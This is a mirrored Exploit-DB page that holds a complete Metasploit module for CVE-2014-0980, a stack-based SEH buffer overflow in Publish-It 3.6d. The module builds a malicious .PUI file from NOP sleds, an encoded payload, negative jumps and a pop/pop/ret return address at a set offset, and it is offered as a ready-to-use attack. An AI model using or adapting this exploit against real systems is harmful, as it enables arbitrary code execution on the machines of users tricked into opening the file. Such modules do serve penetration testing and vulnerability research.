Publish-It – ‘.PUI’ Local Buffer Overflow (SEH) (Metasploit)

  • 作者: Metasploit
    日期: 2015-03-19
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/36437/
  • ##
    # This module requires Metasploit: http://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking
    
    include Msf::Exploit::FILEFORMAT
    
    def initialize(info = {})
    super(update_info(info,
    'Name'=> 'Publish-It PUI Buffer Overflow (SEH)',
    'Description'=> %q{
    This module exploits a stack based buffer overflow in Publish-It when
    processing a specially crafted .PUI file. This vulnerability could be
    exploited by a remote attacker to execute arbitrary code on the target
    machine by enticing a user of Publish-It to open a malicious .PUI file.
    },
    'License'=> MSF_LICENSE,
    'Author'=>
    [
    'Daniel Kazimirow',# Original discovery
    'Andrew Smith "jakx_"',# Exploit and MSF Module
    ],
    'References'=>
    [
    [ 'OSVDB', '102911' ],
    [ 'CVE', '2014-0980' ],
    [ 'EDB', '31461' ]
    ],
    'DefaultOptions' =>
    {
    'ExitFunction' => 'process',
    },
    'Platform'=> 'win',
    'Payload'=>
    {
    'BadChars' => "\x00\x0b\x0a",
    'DisableNops' => true,
    'Space' => 377
    },
    'Targets'=>
    [
    [ 'Publish-It 3.6d',
    {
    'Ret' =>0x0046e95a, #p/p/r | Publish.EXE
    'Offset'=>1082
    }
    ],
    ],
    'Privileged'=> false,
    'DisclosureDate'=> 'Feb 5 2014',
    'DefaultTarget'=> 0))
    
    register_options([OptString.new('FILENAME', [ true, 'The file name.', 'msf.pui']),], self.class)
    
    end
    
    def exploit
    
    path = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2014-0980.pui")
    fd = File.open(path, "rb")
    template_data = fd.read(fd.stat.size)
    fd.close
    
    buffer = template_data
    buffer << make_nops(700)
    buffer << payload.encoded
    buffer << make_nops(target['Offset']-payload.encoded.length-700-5)
    buffer << Rex::Arch::X86.jmp('$-399') #long negative jump -399
    buffer << Rex::Arch::X86.jmp_short('$-24') #nseh negative jump
    buffer << make_nops(2)
    buffer << [target.ret].pack("V")
    
    print_status("Creating '#{datastore['FILENAME']}' file ...")
    file_create(buffer)
    
    end
    end